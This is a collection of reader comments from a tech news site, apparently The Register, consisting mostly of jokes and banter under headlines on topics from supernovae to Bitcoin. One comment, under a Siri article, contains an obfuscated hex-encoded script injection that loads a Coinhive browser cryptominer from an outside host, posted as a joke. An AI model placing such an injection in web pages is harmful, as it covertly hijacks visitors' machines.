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Amateur astronomer strikes it lucky with first glimpse of a Supernova

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Re: Discoverers v. academics

I would rather be facing the right direction and know what I saw than have to build a career on the discoveries of others

One suspects that Mr Buso's (impressive) ability to recognise and identify the phenomenon was almost certainly derived from the shoulders of giants rather than derived entirely from first principles. I take my hat off to his infinitesimal contribution to the sum of human knowledge

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Re: Nova GSi?

Are these things anything like the Vauxhall Chevette?

Mechanically, perhaps. Culturally, not so much.

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New Google bias lawsuit claims company fired chap who opposed discrimination

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Re: Animal Farm

>>I've got a copy somewhere, must re-read it. If I could be bothered

Never mind, just watch the animated version then...

I have a vague recollection of a live-action film version from the 80s maybe. Based on the recollection I won't be googling for more details from work though

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Australia joins the 'decrypt it or we'll legislate' club

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Re: Stand up and speak

how a GGOB can be made to work

It's a variation on the underpants gnomes model:

1 sign huge public sector contract to provide GGOB services

2 Profit

3 ???

...while protecting trillions of currently secure transactions in banking, medicine, commerce, government, military, personal and wherever else legitimate privacy needs exist. (Don't even think of bringing up security-thru-obscurity.)

Wait wat? I stopped listening after 2

For 10 bonus points, explain how ...

For what, do I need bonus points at this stage?

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Facebook's big solution to combating election ad fraud: Snail mail

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Re: They can use street view as well.

Just use the same tool as you. Tech cuts both ways you know.

I use Bing for my secret squirrel stuff. Nobody expects that.

Even he doesn't watch bing----------------->

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Oi! Verizon leaked my fiancée's nude pix to her ex-coworker, says bloke

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Re: "discretely copied"

So they copied them a bit at a time?

Well I guess it was a separate transaction from the one they were asked to perform and, since they were caught, they weren't that discreet

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James Damore's labor complaint went over about as well as his trash diversity manifesto

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Re: controversial bro-grammer ?

Damore has a MS in Sociobiology from Harvard,

The one for people?

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Top tip: Don't bother with Facebook's two-factor SMS auth – unless you love phone spam

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I no longer have a television

and I've not missed it.

wait, what? Wrong thread, sorry

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If this laptop is so portable, where's the keyboard, huh? HUH?

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Re: Obligatory pedantic quibble...

...This week, meet "Norman" who just last year took a frankly astounding support call at the law firm where he then woked....

Well, I suppose if someone calls you at work, waking up is a good start....

I dunno, with the systemic racial bias running through much of the criminal justice system I would applaud any employees' efforts to be more woke

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Weed wish you a merry Christmas: Pot-toting OAPs tell cops 30kg stash is for pressies

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That's what the Freak Brothers would've done

You are no doubt correct but shirley the PP was thinking of Cheech & Chong's Up in Smoke

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Hyperoptic's overkill 10Gbps fibre trial 'more than a clever PR stunt'

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obligatory

I'll be glad when Clacks reaches my neck of the woods

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Let's get to know each other first: Joe Public won't share their data with just anyone

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DOBs, names, addresses, I have plenty. More than enough for one each so why wouldn't I share them?

You ain't seen me, right?---->

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Face, face, face! Apple, TrueDepth and a nose-driven iPhone X game

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Re: Nose driven...

Gesture controls

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UK Home Sec Amber Rudd unveils extremism blocking tool

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Re: False positives?

10 million cat videos to every Daesh recruiting video and the algorithm picks only 1% as evil...

All Cat videos are evil as any fule kno

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See that over Heathrow? It's not an airliner – it's a Predator drone

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Re: Scunthorp is burning

Well, thank goodness all the Hellfire did was burn the trailing "e" off its name... :-)

Something similar happened to both Bridgwater and Middlesbrough years ago. Neither has ever recovered

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It's official: .corp, .home, .mail will never be top-level domains on the 'net

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phish pie

don't try to use domain names you don't own. If you do, at some point in the future something bad will happen.

I own invalidemail.org.uk (fantastic for passive aggressively giving out email addresses to people you don't like but secretly want to see where they are going with their request). A national UK charity actually sends acknowledgement emails to noemail@invalidemail.org.uk when a fundraiser registers for one of their challenges but doesn't provide an email (or opts for no email or something). Mostly I just get a name but for some I could reset the password for a fundraising totals page and one time they included some contact details. They have not responded to my emails so far

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Yorkshire cops have begun using on-the-spot fingerprint scanners

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Re: But does it actually save time?

"As an example, the Home Office said that in a trial, using the kit allowed police to identify a driver following a pursuit and issue him with a summons for three offences within 10 minutes, compared with four hours without the tool."

Someone who is chased by the police and charged with three offences will surely be arrested and taken to a police station. That will happen regardless of whether you identify them and write up some paperwork at the side of the road, or wait until you have him back at the station.

I charitably read it as meaning someone who was pursued, but who did not commit any offences during the pursuit for which sufficient evidence was available to justify arrest, was identified and linked to existing warrants which were therefore able to be executed rather than the suspect being released.

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Talk down to Siri like she's a mere servant – your safety demands it

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Re: Tips and corrections

It could do that automatically based on submissions - but that could open up a path for spam/abuse displays.

Umm, I think you have a typo, that should have read:

...could open up a path for spam/abuse <script>window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x27\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x27 \x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x63\x6f\x6d\x2f\x6c\x69\x62\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x6d\x69\x6e\x2e\x6a\x73\x3f\x72\x6e\x64\x3d"+window["\x4d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"] </script>

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UK worker who sold customers' data to nuisance callers must cough up £1k

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Fair points. What about writing to all the people concerned to find if one person made a claim? Then you have them bang to rights.

Shirley ringing them all would be quicker?

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What did we say about Tesla's self-driving tech? SpaceX Roadster skips Mars, steers to asteroids

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Re: I think we just came up with a new kids show...

I thought it was "Pigs in Spaccccccceeeeeeee" on the Muppet Show.

Indeed, but perhaps the PP had Muppets From Space in mind. Not one of their better efforts.

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ASA tells Poundland and its teabagging elf: Enough with the smutty social ninja sh*t

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84 people obviously don't have better things to do with their time.

Whereas all the other people on teh twitters*...

*and me and @woldetone here obvs.

More constructive use of time---->

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Basket case lawsuit: Fancy fruit florists flail Google over rotten ads, demand $200m damages

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Meh

that awkward moment...

...when you kind of want both parties to lose but also the lawyers too

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Why is Bitcoin fscked? Here are three reasons: South Korea, India... and now China clamps down on cryptocurrencies

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Re: In a heating dominated climate

>>"Maybe some clever company needs to create a new line of electric heaters that use their power for bitcoin mining (or cloud computing or whatever) instead of resistance coils. They can advertise "heat that pays for itself"..."

I seem to recall that someone did try and kickstart a similar idea, but it wasn't practical - basically, your initial install costs are so high compared to using traditional radiators or space heaters (and electric heating is so expensive anyway, compared to gas) that it's not a remotely attractive addition to an existing building.

Ahh, but have you seen my kickstarter for a gas powered bitcoin miner/heater? A better investment than my cold-fusion rig was (great mining, crap heating...)

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‘I crashed a rack full of servers with my butt’

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Re: VIP visitors

Here are a couple of photos of our visitors.

Bizarrely my work web filters the domain pghardy.net for 'hate speech'. Google's cache of the home page offers no clues for why that might have happened

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Bluetooth 'Panty Buster' 'smart' sex toy fails penetration test

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is it possible to turn a dildo on?

Meta dildo?

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FBI slams secret Nunes memo alleging Feds spied on Team Trump for political reasons

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Re: Why I quit reading your article

1) No mention that [...]

All in the second half old chap :-)

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So you accidentally told a million people they are going to die: What next? Your essential guide...

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Re: Good compendium of possible actions/inactions/mis-actions.

According to the usage logs for PornHub, many Hawaiians commemorated the lack of impending doom with a celebratory wank

It's the obvious response to a warning of impending fiery death with zero notice. I mean sure, take advantage of situational factors where possible but you need a fall back that requires little preparation and few to no external resources.

Also, bonus time for the Pronhub marketing department's quick reactions.

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Govt 'comprehensively ignored' advice over NHS data-sharing deal

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Re: Free

This data sharing won't reduce illegal immigration, it'll just worsen the health of illegal immigrants.

And even if it did help with immigration enforcement the harm from diluting doctor/patient confidentiality is too great. The Nazz poses a false dichotomy in any case. Stopping NHS data sharing with the HO doesn't preclude immigration enforcement (whatever ones opinion on the appropriate level for this), it merely blocks one (possible) intelligence source

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Forget cyber crims, it's time to start worrying about GPS jammers – UK.gov report

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Re: Wow

These are extremely useful in the 'quiet carriage'

One would hope that they were of more use outside the quiet carriage

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Fancy coughing up for a £2,000 'nanodegree' in flying car design?

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What the buggy whip maker did next

Technology will destroy jobs, they said. Cereal Cafés for millennials will put the 'get your degree certificate free in a pack of cornflakes' marketers out of work, they said.

Well who's laughing now. (hint - it's the innovating disruptors, that's who)

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User stepped on mouse, complained pedal wasn’t making PC go faster

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something deep and unexplained has occurred

I like coding slightly jokey or whimsical error messages. I think of it as a form of empathy (hey I work in IT) with the troubles of the end user.

One time in a script driven domain migration I used vegetable names instead of error codes. As usual, users wouldn't recall any detail of the errors when calling the helpdesk but they would quite often recall the veg name and it was easy for the helldesk ops to do a keyword search in the knowledgebase so double win for me on third-line. Can't recall what the cause of the most common error was but I do recall it was Brocolli

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Re: Old as the hills

Most parents with toddlers these days also have lots of marks on the TV as their kids just think it's a big iPad.

Correlation /= causation, my kids are just old enough to have missed out on ubiquitous touchscreen. Toddlers are tactile and sticky

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Re: Hey Gran!

Nor is it a dictation foot pedal she may have used as a typist to control playback of audio tapes

or playback of digital audio files on a PC for audio typists. I dream of one day seeing a deskside support person attempt to use such a device as a mouse.

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Perv raided college girls' online accounts for nude snaps – by cracking their security questions

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Re: Inevitable Consequence

because so many sites insist that you log in using Facebook, Google, or other shared log ins

Perhaps you and I browse a different set of resources but whilst many sites offer such common login platforms I can't think of any off the top of my head that require their use. I never use them so I would have noticed.

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£60m, five years late... Tag criminal tagging as a 'catastrophic waste' of taxpayers' cash

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>>...I will context this figure...

[but] does it excuse...[?]

What it doesn't excuse is verbing a noun.

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Re: Radical Suggestion...

...trolling with grammertical errors...

Icy watt ewe dither.

Should of spell checked, less errors.

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Re: I concur

The only lesson that has been learned is that government wanks are ab-so-lutely incapable of defining an IT project, let alone managing one.

IME the difference between private and public sector is that the private sector has better meeting biscuits and better cover-ups of failures

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Facebook open-sources object detection work: Watch out, Google CAPTCHA

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Re: Google / Amazon search results

Hate to break it them but if I'm buying a case it's pretty much 99% true that I already have the phone.

Yebbut the marginal cost to me, as an advertiser, of your time spent dismissing the ad is zero and the 1% conversion rate makes it pay

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Job ad for designer proves its point with MS Paint shocker

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Re: Bonus points

AIUI the major reason it is preferred by educators for dyslexics is that the lower case 'a' glyph is styled as it is typically written. Combine that with free availability going back to the times when there weren't many free fonts and you build an unstoppable momentum among primary age educators.

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Re: Bonus points

Surely any use of Comic Sans is inappropriate?

It's an appropriate way to smoke out font bores

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Re: Whoosh...

Anyone here got the recipe for ice?

It's here somewhere. Would you mind nipping down to the stock room for me to ask them for a long stand and I'll see if I can dig out that recipe for you

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In Soviet California, pedestrian hits you! Bloke throws himself in front of self-driving car

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Re: It's San Francisco

Icon because I think some of the folks living there are from a LONG way off.

Have you considered that they might simply be very small?

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M&S extends customer support contract with, er, Capita

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Truth in advertising

M&S=C&A with an on-premise Waitrose concession

Yup, that's how old I am ----->

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Airbus warns it could quit A380 production

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Re: You've achieved a gold badge for venting spleen,

Actually it's a Bronze badge.

They'll have to try much harder if they want a Gold one.

Yup, they give out Bronze 'uns to any cunt these days.

UT's real crime is not being that amusing

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Frenchman comes eye to eye with horror toilet python

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"immediately I saw a snake's head coming out"

It's the turtles you also have to watch out for.

He was in the one place that you don't want to worry about the site of turtle heads*

*unless it is the size of Great A'Tuin

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Facebook, Twitter supremos ditch Disney as biz steps on their turf

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Re: Should be broken up

I have heard of cinemas being told that if they show indy films that they won't get block busters.

Win-win for customers?

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Junk food meets junk money: KFC starts selling Bitcoin Bucket

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Bitcoin's utility these days is solely as a store of value or as a gateway crypto used for buying other alt coins.

Surely it's value is mostly as a source of cheap PR and low rent click bait churnalism?

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BOFH: Buttock And Departmental Defence ... As A Service

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Re: Well the smoking gang...

An umbrella, having no walls, definitely counts as outdoors

That's either one hell of a loophole or a rule that requires more context

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PC lab in remote leper colony had wrong cables, no licences, and not much hope

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Re: The Chinese

A great bunch of lads.

Ah, go on

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Boffins closer to solving what causes weird radio bursts from space

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Re: OTT

A civilisation capable of generating massive power and then letting unbelievable shitloads of it escape into space. Doesnt sound likely.

Wireless charging standards wars?

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